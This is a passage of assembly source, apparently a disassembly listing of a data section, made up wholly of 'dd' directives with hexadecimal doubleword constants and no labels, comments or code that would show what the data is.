		dd 0CBB18447h, 594277E0h, 0FA89004Ch, 0E6179234h, 1C9045D0h
		dd 0F85538CCh, 0B4F65303h, 0B9C058A7h, 30E5A05Eh, 0F019220Eh
		dd 0DF0053D9h, 0A25FD751h, 3EB6DDh, 0FC02D212h,	0EDE372B5h
		dd 7E00DC91h, 0AD231591h, 354204B1h, 8122928Fh,	0DC79D227h
		dd 0E761FFAh, 0CA8C8650h, 0D40662E8h, 0CDC04BC3h, 44A24C40h
		dd 0A2FA771Fh, 0E85EA302h, 43580C6Ch, 0D493FCD0h, 0C5210099h
		dd 6B1E856h, 0CF12B02Dh, 9C183320h, 849C3448h, 1FC39200h
		dd 2CDF4E7Bh, 56D300F5h, 5ED2D08Bh, 0E3074334h,	0B4217754h
		dd 0DB657D81h, 6A7FC8h,	0C7490804h, 7841FCA7h, 2800EAF0h
		dd 3007ED7Ah, 0A035C8CFh
		dd 7D7D1E38h, 882E5486h, 0DD9B0042h, 0A6205352h, 0FA34A8A9h
		dd 0B0409187h, 759334D2h, 8890D872h, 78D8E935h,	0DC260D10h
		dd 50864029h, 3F980AC7h, 0FEDD0603h, 0A01FD11Bh, 18602F64h
		dd 0C08069A1h, 6D400BB9h, 0A07092B0h, 18F7E10h,	0E7FAD125h
		dd 520C4A61h, 4840E3A4h, 5C1FE4F0h, 0A02AA7AEh,	7EA11000h
		dd 340A99BCh, 0B989609Dh, 1E22C10Ch, 0B8185090h, 531990FBh
		dd 619B004Eh, 0A48218DDh, 0CFEE6EA8h, 0B854B20Eh, 0A9AB83CCh
		dd 0ED4F05Fh, 18D9C021h, 3913F4EAh, 89588D00h, 0B7D44356h
		dd 44E52C2Ch, 30FD2400h, 0B85E960h, 5C615501h, 1A38A7B0h
		dd 0ECD3A889h, 3F4E4010h, 0FB532500h, 1F41F62Fh, 2D520030h
		dd 0BEF2EDE4h, 0E9746A84h, 0E2C9D601h, 436298Dh, 269582F4h
		dd 31860E1h, 0F4EE6C7Fh, 1B0D39B8h, 0E489A9C0h,	0F15D320h
		dd 7036DF7Ch, 5B493860h, 5A1EE165h, 6093FBh, 0B6EDC11Ah
		dd 0DCAD88C6h, 510BAF0Fh, 91062A4h, 501C4381h, 937C1868h
		dd 0E8630174h, 18800C71h, 5BCA8898h, 0F344E800h, 739D286Eh
		dd 0CFC8006Ch, 6585A45Ch, 1E1D8FE9h, 0D8F0E472h, 4B46E0h
		dd 66EB3D31h, 0C2919609h, 1A2D7400h, 9721C42Bh,	9C993134h
		dd 24136B61h, 78ECC54Ch, 4C7BFC01h, 805C2094h, 0E359ECh
		dd 0C2E98237h, 54E2FD3Fh, 93FE70F2h, 0A6A55202h, 411A5EC1h
		dd 0C3F5240Ch, 45C2FC60h, 4842A484h, 82C7E0C0h,	22EF469Bh
		dd 0D8573C2Eh, 83F0A69Ch, 0E53ABEB9h, 24D0D3C8h, 91055EFAh
		dd 0F7BA8FDBh, 4862C092h, 0FD40464h, 6F3FDD56h,	880C9D49h
		dd 5C2EDE19h, 0E8C1486h, 73E6924h, 938C51D4h, 9AB25364h
		dd 14896E80h, 0A8026139h, 0E30D497h, 7C093125h,	3AEA7F17h
		dd 4BCC5036h, 0BAF34300h, 0E61ECF16h, 526C2500h, 852665C7h
		dd 0B08D54FAh, 0AF3A4C97h, 332A6D00h, 0E41581BDh, 8A52C501h
		dd 8D926C26h, 0D8505462h, 0A665004Dh, 0DAB1A746h, 0C0B0A5F4h
		dd 88018F5h, 818DDED5h,	474020C4h, 38A9D578h, 8EAC3100h
		dd 11480D0Ch, 3A6076Ah,	308F1E15h, 37F2C18Ch, 4CA4DCA2h
		dd 24B08707h, 860E0B0Ch, 20167Ch, 0F131BD8Dh, 0BED562D1h
		dd 79336809h, 925C8167h, 60402993h, 9AFC1CD0h, 2494A3A0h
		dd 11049139h, 0C7E1875Ah, 33F79BA2h, 0D95847B4h, 32F0C497h
		dd 4C22108Eh, 0AF002A42h, 183BAEF0h, 9E74B90Ch,	650C489Ah
		dd 893E8F92h, 4927600Eh, 638AA3CAh, 8060AA39h, 17E5736Ah
		dd 0D5BA5Ch, 0C9F4047Fh, 0D36C998Ah, 0D8B06401h, 0A586ED39h
		dd 0E2785830h, 9845123Dh, 566C4D70h, 7BFC4C59h,	851C3B00h
		dd 0F4900536h, 8AE000D7h, 18734DEFh, 0C1180ED8h, 7DA815AAh
		dd 0C910163Bh, 0EDD80340h, 5040136Ah, 58BBD4C0h, 5D466B01h
		dd 3A185EAEh, 636688h, 9DD6D946h, 0F3DA0F5Bh, 688B448h
		dd 36EDCF0Ah, 0C83B3B29h, 556500FEh, 20C6C203h,	0E500CFAFh
		dd 0D62D7C63h, 5CBB926Ah, 0E8B7A0F4h, 5F466DC0h, 486E52AEh
		dd 46656880h, 0C9A02285h, 48C054BDh, 552308C2h,	9F50094Fh
		dd 2C00320Ch, 0EC6002EBh, 0AB134212h, 0C8208D5h, 5D7C48F7h
		dd 2BE0695h, 21190DF9h,	0B6AF3901h, 85CE6C16h, 0BE198E4h
		dd 8270623Dh, 59FCA8B0h, 90BCD00Fh, 4292848Ch, 96E5B20Fh
		dd 76D8883Fh, 5D01C09Bh, 500C6BE8h, 0C488A018h,	0FFE80055h
		dd 58F8645h, 413F4EDAh,	0AA8D045Bh, 0CB49CCFh, 6313018Eh
		dd 2EAEFD0Eh, 0CC2821A7h, 78C926B8h, 8DFE02E9h,	9DD4E0E4h
		dd 46212540h, 2C23081h,	89B00F4h, 18476B4Dh, 0D4DFB019h
		dd 0CD030E45h, 81DA5F61h, 91D1804Fh, 17F1E8Ah, 53BC9AEh
		dd 138500A0h, 6601EF69h, 57671134h, 0A4571F0Dh,	0B13EF371h
		dd 3A86BDD8h, 9800BB14h, 5DDC6374h, 44039D84h, 309FAE64h
		dd 0E3B80C06h, 2589B113h, 1D209B0Ch, 465A02Bh, 13439D86h
		dd 63F4B4A8h, 0E2910C0Ah, 7F02BC24h, 50B54095h,	9A040550h
		dd 0C6C1061Bh, 6FB020DAh, 78549C18h, 4034BC48h,	44FEAE16h
		dd 104872EFh, 2413C9C6h, 0A8E801E6h, 811E64CFh,	3C788320h
		dd 204FD662h, 81C66711h, 1D80CF4Eh, 63C40E01h, 0C54A00F8h
		dd 7831DAD5h, 21C10A69h, 82AC0A0Fh, 0B19FC28Fh,	6C6AD481h
		dd 0C3198009h, 2269996Dh, 0BAD210A6h, 0DD0E1372h, 109ED109h
		dd 0C384E370h, 22B0D308h, 7AD9F6D8h, 0FC9809E2h, 0F856200h
		dd 84D00863h, 8A78C3h, 9AA149E7h, 0A9389D6Dh, 8DA43B50h
		dd 199B353Ch, 87102A45h, 2A92AC30h, 0CD42B84h, 2770C72Eh
		dd 0B8C4CBE0h, 950286D7h, 0B0E00572h, 8780033Dh, 4BA59A1h
		dd 438CDB00h, 0D5E4D216h, 0C85E7C00h, 0BDEF90E3h, 588907FDh
		dd 8083EBEDh, 0D27DE1CFh, 0ECE95B98h, 64780BCCh, 9003E979h
		dd 8E0FC561h, 6344A05Bh, 0F1B6075Ah, 1E7018Bh, 30CAE916h
		dd 0B4005B3Eh, 0B65D84EFh, 5647DFEh, 5887EBC4h,	7382921h
		dd 858C87D6h, 31182AC3h, 0F39208FBh, 0B080F1E1h, 5E89DCD6h
		dd 1600D9F0h, 83D5C402h, 144EFFBh, 0F1D06466h, 0E0E5FF67h
		dd 0CA054A5Dh, 21F869E0h, 6DF56803h, 8606C7FEh,	0C5988339h
		dd 7E09047Ch, 3B10C040h, 0C0D0E796h, 9DB71718h,	4C1C3DB4h
		dd 0E300CF02h, 664E27A3h, 30C0125Ah, 89BE2052h,	8818C7A4h
		dd 759E82ABh, 0CBD30880h, 4F0CA544h, 0C62CA243h, 2CCC5045h
		dd 0B7A705D1h, 6317BE38h, 8847EF0Ch, 355F180Ch,	75A99130h
		dd 0AE59C34Fh, 790379CFh, 91963766h, 0F4400DD1h, 0EBE8D37Eh
		dd 59EB4030h, 0A83722DAh, 5088F478h, 87FD58CEh,	0BF15437Eh
		dd 0EFA31010h, 75B0408Ah, 4287A380h, 7BD0321Fh,	0B5A22421h
		dd 7E0CBBCCh, 0D1284D62h, 0AAF6E30Eh, 5E549E51h, 0DC44320Ch
		dd 0ACE4482Ch, 1E111EA7h, 8DA38126h, 0D023CBF1h, 0CA08794h
		dd 9524C116h, 0B980FC39h, 4106E3B5h, 544D071Ch,	42CDA9FFh
		dd 0C83D5D0h, 2BC230D2h, 27AB1468h, 919458A0h, 143B6E14h
		dd 88E6E864h, 0CB15C18Dh, 408CE79Dh, 8184FBBCh,	0EC0854B8h
		dd 0C4802167h, 0ACA3FE3h, 0A550CB19h, 4F165F8h,	0C2215CE0h
		dd 0C013FE5Ch, 83A4799Eh, 2AAE4018h, 53D187C1h,	38228C22h
		dd 0E347E48Dh, 0B9C4F215h, 98907C89h, 8D9098BAh, 90E58B82h
		dd 0AC45A164h, 5C515B61h, 884CB715h, 50CC0902h,	6404D288h
		dd 87D1204Ch, 0AC48A0EAh, 40FB2837h, 0A25E12E0h, 2D0C3246h
		dd 80732025h, 0C9946B6h, 8CD0463Ah, 76912CB2h, 0CE0A5504h
		dd 666688AEh, 16DA28E0h, 720742F4h, 0C2BA9F22h,	25ACA540h
		dd 82876040h, 0C8281348h, 4680A1B6h, 0C8C99EFh,	8CFEDF28h
		dd 0E354F313h, 0D6880C3Fh, 24D5EC54h, 64A811A3h, 0A380502Ah
		dd 0C99467Dh, 8CA60D14h, 0D59C8124h, 10EAF611h,	0B199CE58h
		dd 0C8A02744h, 61B55852h, 0C1A23412h, 0D879144Ah, 6B74106Bh
		dd 5061D564h, 0A157DF2h, 11E4922Bh, 0A8DF2927h,	4AC481B7h
		dd 0A68DB4C8h, 0E430ABD8h, 0AA76589Bh, 502C4D4Ch, 768DA3EFh
		dd 2FD6B46h, 94A0EBECh,	9B4DBA04h, 448E6E01h, 410553CCh
		dd 41337824h, 5BDC4243h, 40129024h, 6F7E0210h, 0A6631621h
		dd 0E452D270h, 10F4C344h, 53EF229Ch, 1F043C8Eh,	795A9130h
		dd 3C70E814h, 47DC321Eh, 47D895AEh, 0FA80043Ch,	0D77861CFh
		dd 49DB1440h, 1002507Bh, 0B4598DF3h, 227CD05Ah,	0DF3C2178h
		dd 0BEB9287Fh, 15005579h, 0F1C3617Ch, 52C6647Dh, 0B78F14D6h
		dd 30568A06h, 0D05A930Fh, 0B56182DDh, 0ECC500EFh, 0B41E4987h
		dd 38082D5h, 0CDED4745h
		dd 909260E2h, 25D89F1h,	0B90218DDh, 5B5B8FD5h, 0EE108ED0h
		dd 0D8C85E81h, 0E0B2D093h, 785D8D30h, 0C3B8618Ah, 93DFC531h
		dd 578D590Ah, 10690CD1h, 0F21010h, 0D9B4EF7Eh, 0E0D06486h
		dd 38C588A1h, 0D0244A1Ch, 5AAD20C0h, 2845843Dh,	72323C20h
		dd 8812F429h, 7949CE57h, 0DA5F1E78h, 0D8AE19B0h, 0F1420E85h
		dd 15EE62B9h, 0D53B819Fh, 20EA2230h, 0C3695DDCh, 24340338h
		dd 587C09h, 0AC821673h,	0F411A15Ch, 0B49D3518h,	491F9A1h
		dd 96C1C431h, 0C3A4875Bh, 0A91057C3h, 5F09CD34h, 20A2E052h
		dd 4A075125h, 0A1C4E15Ch, 96101C18h, 363D0211h,	4A34509Dh
		dd 0D314D60h, 0D0207409h, 4F282C18h, 704A1374h,	20F84823h
		dd 42481B2h, 92F89147h,	0B830D305h, 0DF6B594Fh,	0FE30C6D4h
		dd 0DB3179BCh, 9C4B316Dh, 0CDB75182h, 0C882892Dh, 48C8F7DAh
		dd 4E348714h, 3480648Bh, 942C9C09h, 4C84E988h, 43A8D393h
		dd 0A5917903h, 189B8F9Fh, 69473930h, 0A20D551h,	12C4905Bh
		dd 9DC0D91Bh, 1A030FCh,	8325AD21h, 2C8637E3h, 0F26C3116h
		dd 4C233C4Ah, 4A589495h, 6C920C64h, 0F3390D14h,	0CE9FAED0h
		dd 0FE308A62h, 0CD38499Ch, 0A9D14C52h, 0A71C4C58h, 0B6540254h
		dd 0A49094CDh, 64854393h, 3B6331BFh, 0B4B8AC19h, 0E6105CA3h
		dd 435CF888h, 372A1128h, 8F85099h, 0FD7185B0h, 428DC808h
		dd 42144EBEh, 2180100Bh, 1642C2FCh, 98441188h, 788E2B6Ah
		dd 508A1790h, 0FA217C28h, 8B2A4223h, 106AE824h,	2FA23916h
		dd 87222010h, 302772E2h, 5C99524Ah, 0A2426C24h,	601929BBh
		dd 55D1004Eh, 60D948E3h, 5A3F3581h, 4061B236h, 0CFC06122h
		dd 9038B13h, 4E3DABD2h,	1D9022C0h, 1609D963h, 54C4B110h
		dd 1E1EB191h, 0CF067B2Bh, 4010D1E6h, 4153D02Ah,	20584338h
		dd 792B6524h, 6B70055Ah, 0B53C601Ch, 0A230346Ah, 451511B7h
		dd 0A0CD52BAh, 0C964DB26h, 4109481Bh, 10898D81h, 98D639F0h
		dd 103A4354h, 38402EBBh, 6B591835h, 11DE1132h, 3D5CE41Eh
		dd 5A5DD700h, 0FB5248Ch, 9AA073CCh, 0E353EBA0h,	0C1147AABh
		dd 24AA35h, 0B44AC38Ch,	1E3B248h, 7267537Bh, 0F7F24FA4h
		dd 9CB821C9h, 48C29128h, 805B4562h, 0CEEAC454h,	333816ACh
		dd 0E16E0035h, 971D0180h, 2B2696F0h, 0C3005C29h, 0A28D711h
		dd 0AEBB0A1Eh, 0C48ABh,	6983D42Dh, 86207E3Bh, 4BF30943h
		dd 0B4E06E87h, 330650B0h, 23067EBBh, 9E42520h, 312080AFh
		dd 1EDD0EFDh, 0CF439500h, 0FA17DC96h, 7CC300D8h, 0A14E5953h
		dd 5A0092F3h, 0F4F3DC0h, 6FB237A9h, 599F6014h, 220919B5h
		dd 1BD70000h, 157A35A6h, 2DA40277h, 2CCD4A92h, 4F26C8C0h
		dd 85482748h, 14C80983h, 0F2FE3F51h, 9918D380h,	5CCFBA81h
		dd 0BB8CF101h, 13412733h, 10AC3990h, 0D50C20E7h, 0F898FE92h
		dd 935B7300h, 525DDB53h, 38F90C72h, 39C87E6h, 27EF8B03h
		dd 0A0ED902Dh, 1CEC91F4h, 805BFF78h, 0FBAE8854h, 337CF035h
		dd 77021700h, 72E516BBh, 7AE9E4EFh, 2D1D1F8Bh, 282E9B79h
		dd 0F891110Fh, 0FE758016h, 78E73Bh, 770117BBh, 5AF372FFh
		dd 9001C2DFh, 85F03AEFh, 700322E0h, 0F41C0391h,	8D52B98Eh
		dd 0BE04B846h, 8545FEE0h, 84B420E7h, 0F520B90Ah, 0A581877h
		dd 104D627Ah, 0FE60C7A1h, 2DB050CFh, 70046103h,	0CBD669F3h
		dd 8180062h, 8965CDD7h,	7D0C6859h, 48CA57E5h, 0FA4700EEh
		dd 0FDE167A4h, 0C002275h, 299EC0CFh, 0EC8F43h, 0D1CD5F6Ah
		dd 0DF7CC7D9h, 2AA86903h, 909855E1h, 4C65ECh, 93410375h
		dd 36C57B10h, 0F4948F00h, 28F1E79Eh, 96C018A8h,	5FEE18CBh
		dd 703A3C31h, 2FE1DDA9h, 8D344040h, 0D95B618Bh,	8CEB4CF5h
		dd 0F9E55208h, 69A902CDh, 0A2FC0A7Dh, 88B5E18h,	0BA1AB811h
		dd 8B9FC3F3h, 5610013Eh, 0D21272CEh, 10688250h,	248DD3Ah
		dd 4C0FA464h, 0CE9AF814h, 9FC70881h, 0C6402CDFh, 3CB1B20h
		dd 0CE572276h, 7829827Dh, 0E00AD4B5h, 0F1508C7Bh, 9B89114Bh
		dd 0A81B6A9h, 618C9AD2h, 8C731588h, 110ADB03h, 85ABDA14h
		dd 0C48DFB2h, 6C1F8C54h, 76C3F8EFh, 0E7C206ADh,	0A15789BCh
		dd 48896948h, 2831DC9Bh, 6445E293h, 4983C371h, 87E4C871h
		dd 0D85A2FE1h, 51F82332h, 0F6BB2E07h, 72208AECh, 1EF885FDh
		dd 0FC730331h, 0C578F22Ch, 0ED50812Ch, 54C3E217h, 19972DE0h
		dd 8E34FD00h, 51F026F8h, 8B4F14D6h, 7EC04437h, 3ADA3FD0h
		dd 51DF10Ah, 0F761043Bh, 3CF13312h, 8000C4Dh, 502DF3A6h
		dd 0A65420E5h, 1FAF2930h, 10551F08h, 5B0FDF46h,	0A0678A4Ch
		dd 13DD4074h, 0C8E311CAh, 177361E4h, 0FF89217Eh, 4F10E05Fh
		dd 431B3ACAh, 0E9999588h, 104D2509h, 0CBF10819h, 13700404h
		dd 0B76309B1h, 1379C19Ch, 960C48C1h, 408CBC56h,	1D1BAF50h
		dd 96285019h, 94C6431h,	9146484Dh, 44502247h, 5B895A51h
		dd 55245412h, 4F914E48h, 59445822h, 12438942h, 4F3D243Ch
		dd 36B8036h, 70B06302h,	975D2910h, 0B8653AF4h, 51842C54h
		dd 54D604A5h, 0A03B085Eh, 1C38EDBCh, 83A852E0h,	589502CAh
		dd 0E894C3E1h, 2E1C7044h, 0E687E153h, 0F867F238h, 10E74AC7h
		dd 0C0C762C4h, 0F0C340EDh, 812EB7CAh, 70430023h, 0FDF4F88Eh
		dd 94C082E0h, 87FED748h, 9255FF04h, 88B3DFh, 45FC0B7Bh
		dd 8B0A12A7h, 4A540DF1h, 0FE89B038h, 0A35D101Ch, 0F14203DCh
		dd 2245631Dh, 18824409h, 5DF50417h, 4474D4C0h, 0D3DC0112h
		dd 0C0E08E1Dh, 751041C7h, 3895F613h, 0D292AC60h, 1F9B7F44h
		dd 38D76212h, 6A185830h, 2B3D5C3Ch, 36EE0591h, 1C0F5708h
		dd 0EA958354h, 334FF8E1h, 5E28A4DFh, 6E4A76Fh, 95500609h
		dd 320A10B9h, 5EF8753Dh, 1B0C9203h, 0C0B94541h,	0DCAF48h
		dd 0F9770419h, 0FBAE51FDh, 78F43801h, 53541CFEh, 72F0A0CFh
		dd 622700EFh, 0EC20ED76h, 131FFE74h, 3381A494h,	270C8803h
		dd 7A028AD0h, 0DC92002Dh, 1987EF11h, 0F1F8E933h, 0EC5A40C0h
		dd 58EF016h, 90EF3822h,	405EDBh, 0F23BF185h, 523A0A76h
		dd 27F70F39h, 0D83014E9h, 29E62E98h, 821CFE84h,	77E73313h
		dd 0F9948D00h, 85E90A38h, 68602EF8h, 0E69755ECh, 0AC83A4E8h
		dd 0F2A1275Ch, 7E185D1Dh, 22AA4CCh, 1DB9473Fh, 2CB884FCh
		dd 77030339h, 450238EAh, 7F61E0ADh, 0E5FE29B9h,	8D9F38h
		dd 98617807h, 0F31439F8h, 0A414F772h, 0FEDB4070h, 7510058h
		dd 0FD90E811h, 7F2AF133h, 0F904F8F8h, 0AF49F51Dh, 0C0BA9CCAh
		dd 0F60C7A62h, 0EAE004Fh, 0DCA74519h, 801D0267h, 88032BECh
		dd 0E8422FFEh, 4C032607h, 7874008Bh, 5428C185h,	24611DBEh
		dd 9000FE98h, 7F2960F0h, 9FEC1CFFh, 5063F043h, 0D7368D28h
		dd 645B0192h, 616CA020h, 3BED1277h, 50EC1AFFh, 435D74B0h
		dd 54915165h, 80AE1CCBh, 91F30DACh, 0E93901F9h,	59220E33h
		dd 98B22A72h, 580F02C9h, 638559C7h, 0B9A2F020h,	43A862F5h
		dd 0B777D1D0h, 0F4E9E8E1h, 0EE844089h, 0EFC7C08Fh, 0BB87A03Ah
		dd 8674E62Bh, 8C10D4h, 0FF728854h, 2C91EC2Fh, 0B701D02h
		dd 480716EAh, 832D82C0h, 8AE8A040h, 8710EF63h, 79601FF3h
		dd 88013902h, 8EEC16BBh, 0D8B12AFEh, 5A2D4081h,	0EB3417F8h
		dd 7878C878h, 0D7D45A95h, 9894EC60h, 9584ECA0h,	0FAF7D059h
		dd 0F81EF894h, 0BB17F022h, 0F152D460h, 33592C2Ah, 8727C760h
		dd 76EAA016h, 86E01DBBh, 5CA5B893h, 89FF7AB0h, 840E575Ch
		dd 0E800E689h, 0F2752D38h
		dd 0F83085F9h, 7C85E516h, 787072FFh, 0D85F0C7Bh, 0EF2CFDACh
		dd 9685C474h, 0B48231FAh, 13E4CEFEh, 32F42DBBh,	98C0FD0Ch
		dd 2658EB86h, 48FE3ADCh, 28DF74D8h, 1227EC0Bh, 0BB1C40C4h
		dd 1D09C533h, 29C485E6h, 502CF3E4h, 0D58EC0ECh,	8187CB4Fh
		dd 0EE905C20h, 7C76E3D3h, 3AF87C69h, 1D2E8FF2h,	84E64220h
		dd 3C902C96h, 0EC8082F9h, 6185F416h, 5880FC34h,	0F8742D1Ch
		dd 867CFD2Fh, 8052B0CCh, 18765263h, 0F0175048h,	0EB0CDB69h
		dd 0A9C007B2h, 84B6187Fh, 0E3892741h, 7C9E1EEEh, 0A781821h
		dd 0F8860004h, 0FE895016h, 68A7E938h, 5270C78h,	16EE8B62h
		dd 38D88159h, 0EC64745Dh, 31FE8F1Eh, 0F8B618AAh, 33835068h
		dd 0A04C020Ah, 5C031C1Eh, 4B7E2091h, 76F0AD8Bh,	440E2A4Fh
		dd 0F88A822Dh, 273C7938h, 4E52D498h, 707EFE8h, 1C0289E6h
		dd 27F69140h, 11872EE7h, 0EA8B008Ch, 0BB76F12Ch, 0AA641302h
		dd 8B0207BCh, 8850019Ch, 21803BF3h, 0ED87F527h,	2E8F233h
		dd 80E7392Eh, 0C8D8F092h, 0C0B0768Dh, 0F1DA468h, 0EA5091F3h
		dd 34A58580h, 17EE94D8h, 0DD87F427h, 0E0340B50h, 5F0239F8h
		dd 0AB906077h, 595038FBh, 541D72F0h, 500013A3h,	339ED85h
		dd 3AF01B34h, 5BB021ECh, 0F43A1CEFh, 0C83B2874h, 301DBB4Eh
		dd 54E0982Dh, 21809C18h, 7E10A938h, 0EA0D627Ch,	0F0A4E91Ch
		dd 0D7FC8AF0h, 3460C028h, 1C90EE96h, 0E521DC80h, 20F78A30h
		dd 1D16E376h, 4FC7303h,	0E1F990ECh, 2AE077B8h, 1D51C4DBh
		dd 1E8C0880h, 0F860BB4Eh, 7CE73B01h, 0D8026D77h, 4785D588h
		dd 3A3497DCh, 0E8D820D0h, 1D3302F1h, 0F474E62Eh, 0BC20463h
		dd 80728084h, 0D66D313Ch, 0EFB02D50h, 85BBF0A9h, 12F87960h
		dd 0B930DCF3h, 30BB8E28h, 1416E9C8h, 0C89658ECh, 1E5DF6Ch
		dd 4885FDACh, 0A3312BEDh, 83FA76D4h, 2944F748h,	32A5F472h
		dd 48F07A64h, 0F4E20EEh, 1181F430h, 0F388033Bh,	1668E8F6h
		dd 3809F0C0h, 0FF1845F0h, 79B4405Ah, 0F42126EFh, 5D8038DCh
		dd 8D27F98Ah, 0BB7BA0ECh, 0E55A31C0h, 0F2F3B0FDh, 640300EBh
		dd 504F619Ah, 0DB3D1242h, 36BB8B10h, 2E13008Fh,	0E16733h
		dd 83D3CDD5h, 2B9F1114h, 59895D00h, 0D48B17DBh,	9BB23027h
		dd 3AE95228h, 9FD0B01h,	795E2414h, 0AB5878B1h, 47EE00C6h
		dd 69BE0067h, 7CE2A9E1h, 0B830CD03h, 0EF5321F2h, 0A45D2941h
		dd 0A97AE220h, 0EA0A3030h, 80B60755h, 8050CF70h, 8D547314h
		dd 315DE80h, 34426DDDh,	8E9BC96Eh, 0EB051EBEh, 92BAFA53h
		dd 7A2D9041h, 0B0C40B9Ch, 144619C0h, 80890898h,	9DA25421h
		dd 0C310A29h, 43C4DE5Dh, 862B8D70h, 3D1064E2h, 0B5A9553Fh
		dd 89C031D8h, 22805EC0h, 0C14D6343h, 30DB18CFh,	0E8E08FE1h
		dd 42FB5C05h, 2C836CFCh, 5AE80433h, 660C08EAh, 820D279h
		dd 9421C467h, 1707870Dh, 60ECCA4Fh, 2D6A2644h, 0DA0A08A0h
		dd 0EC072C92h, 1FD17462h, 0A3D246B0h, 14C605E1h, 4B4F172h
		dd 5C3DE2FCh, 0DE5C6B01h, 88503C74h, 0C02CC87h,	0EA9CEC62h
		dd 80052C9h, 9FD7DABFh,	2B7C6859h, 101C7B5Ah, 0D8BC4BBAh
		dd 5ABE5681h, 3CB02FC7h, 0A050C23h, 92D9706Bh, 0D9009679h
		dd 0EAB2757Ch, 3D7F455h, 598FFC84h, 293B5608h, 0E0D4B2C2h
		dd 196D20E3h, 497E5811h, 550C1890h, 8842F0DEh, 51749112h
		dd 0D4180D64h, 462E4687h, 4962201Ch, 218408BCh,	0E73463A9h
		dd 74C7493h, 14577259h,	37E9500Ah, 3966D3DFh, 213F08h
		dd 93145E10h, 338C6C40h, 68457800h, 0EF0AF54Ch,	0C85563DBh
		dd 31005773h, 0F683B613h, 35917Eh, 70EFAE02h, 0A5C9B30h
		dd 6290D154h, 14C2A100h, 12046C66h, 6B1A0050h, 7EEF958Bh
		dd 1E0319AAh, 0CED92A3Ah, 2CD1068Fh, 70627FD6h,	0A0EFB0A0h
		dd 0B0E13828h, 8ABA0D18h, 1A86429h, 7D408E06h, 0FC87E1BDh
		dd 8127443h, 8403D0B7h,	0C1D5127Ah, 10ABCA57h, 0E141D838h
		dd 310038Ch, 772FEF0Ch,	0B08A801h, 4B8F9F09h, 3ABF5C41h
		dd 0D7860885h, 828846CEh, 0D81E594Eh, 7744AF0Ah, 0A9818EE4h
		dd 0EA209645h, 0F0909912h, 0C28F8E7Dh, 1178E7Dh, 0FAB304E9h
		dd 0A2783327h, 0A3A83095h, 47063A03h, 909CEB81h, 66D4866h
		dd 3D6CF36h, 0C06F044h,	0AC0F20D5h, 4B8B0988h, 0E7013B08h
		dd 2FDE3FEBh, 4C5054F3h, 0CEC88B1Bh, 0FB974E80h, 27739260h
		dd 518E2F70h, 0E0AB3D07h, 8E8520F6h, 7102C3FEh,	2FE98AF5h
		dd 88C40Ah, 1BCF8723h, 0D76B5A38h, 283E407h, 56617143h
		dd 0B0238CE0h, 31C068A7h, 38D98026h, 0E8D1325Fh, 0CF586CD0h
		dd 72A09779h, 0D44A503Eh, 5B01E476h, 5F18738Fh,	30949A0Ah
		dd 0D23C001h, 49C7D01h,	9A18A80Bh, 9DA5988Bh, 0CD2D3C6Eh
		dd 99935E00h, 16B84DFBh, 0E1B4D454h, 0E390FC06h, 1B15074h
		dd 98726FD3h, 0E09DDF7Ch, 6B5008C7h, 57905CB0h,	90444634h
		dd 79C88CBFh, 0C098542Bh, 5E52F501h, 0AC50DE0Bh, 0D109BBh
		dd 99296280h, 30114A57h, 21C0C7E8h, 0EDD20120h,	0E0B400E1h
		dd 0ABE8C529h, 761F2840h, 0A9819A88h, 257EADDh,	84D3A050h
		dd 0EF0E1FC6h, 4A5F06FFh, 630C182Ah, 98DEE308h,	2CA0A619h
		dd 0DCD8EA0Dh, 0A0869200h, 8BF0E08Dh, 1D223CB3h, 34DFAD05h
		dd 768C0166h, 42431FC5h, 40325D7Ch, 0D1627B8Ah,	0C6227CF0h
		dd 0D2021B00h, 4034B0E7h, 1D2F00EBh, 0CFDFF1DBh, 0A46A6510h
		dd 3F3CC8h, 142A7C5Dh, 32A1D2EEh, 16F8D176h, 0EA90C8A4h
		dd 14AF9C88h, 446052F6h, 7ED1FF80h, 0C0A73962h,	0D1F71E07h
		dd 0F300FDE5h, 0A8F11BBFh, 0BBF41EA5h, 0E983C0A1h, 1CED5F14h
		dd 540978A4h, 144FB0DEh, 638481C0h, 0D1040418h,	3101627Dh
		dd 1D20C432h, 7790D1FCh, 3F390023h, 0D2B3EB7Ch,	62057A73h
		dd 0E590952h, 0FC5C888h, 34DDA84Ch, 4349532h, 0A0B9E7B5h
		dd 1A294F40h, 99438C32h, 10803F4h, 708D427h, 2FE01905h
		dd 2404A306h, 0DCEAABFBh, 76019734h, 0A7B12922h, 8C28FBD1h
		dd 184B6180h, 872430FEh, 0D70428C6h, 50D04503h,	8240CCDEh
		dd 204C784Ch, 552200h, 28434FCEh, 0F4B42F7Ah, 0D67D8B02h
		dd 5F74ED86h, 5B3A0E8h,	0E2012CE4h, 6C59626Fh, 2DC0A230h
		dd 73D302DDh, 0D80A567Eh, 5B1AA8A0h, 7900A3C1h,	95392703h
		dd 4E515CC4h, 0C130B840h, 6D01DB8Dh, 88F0428h, 0E8EA5642h
		dd 98113A31h, 1BB8CC11h, 0FB57F700h, 0EBBB5D09h, 0CE6424C2h
		dd 4A706158h, 0D3B98053h, 0CA3728E3h, 11A099E7h, 145583A3h
		dd 3139AA04h, 6412114Bh, 0B3692087h, 6242A21Ah,	569B3860h
		dd 9A287001h, 3F1FD70Ch, 0D2FBAC40h, 0ACAA74D9h, 30B8C0FCh
		dd 0B71FF614h, 6C8B5602h, 41D4DDD6h, 5186294h, 247CD13Dh
		dd 1C70D809h, 0BDD100FDh, 99597820h, 0E718F57Dh, 29600D7Bh
		dd 90546250h, 68054DA7h, 108C5C8Ch, 4463F9Eh, 1CA2C656h
		dd 910E1403h, 6994C0F0h, 51BB7D02h, 40FD7101h, 8025F6F0h
		dd 0AB2608DBh, 21506CDAh, 7BD200EFh, 3C8A7D6Bh,	5261EF5h
		dd 465E44F7h, 26E000C7h, 1AB89198h, 0C0FEEBA3h,	826A44BCh
		dd 18114061h, 819C5C81h, 32BF8813h, 4F20A0A0h, 24359DA9h
		dd 404C0B3Dh, 40B8AE19h, 0DCDED600h, 1246D2BDh,	0C87149A0h
		dd 7A56D320h, 0ECED0290h, 0A1906A47h, 0B5CAC084h, 7D687200h
		dd 0FE70C09h, 0C6B8216Fh, 0C107668Ch, 775A87C7h, 4F7D0008h
		dd 1D2CBE3h, 0DF10005Eh, 98A6DD85h, 0DA017838h,	4FEA3054h
		dd 7089262Eh, 0DC30CE04h
		dd 97DE597h, 70E750Ah, 0EF60F06Ah, 0B12A779Dh, 56005684h
		dd 76F797E9h, 604B5810h, 0A0EFE837h, 30905F07h,	0FB8059E6h
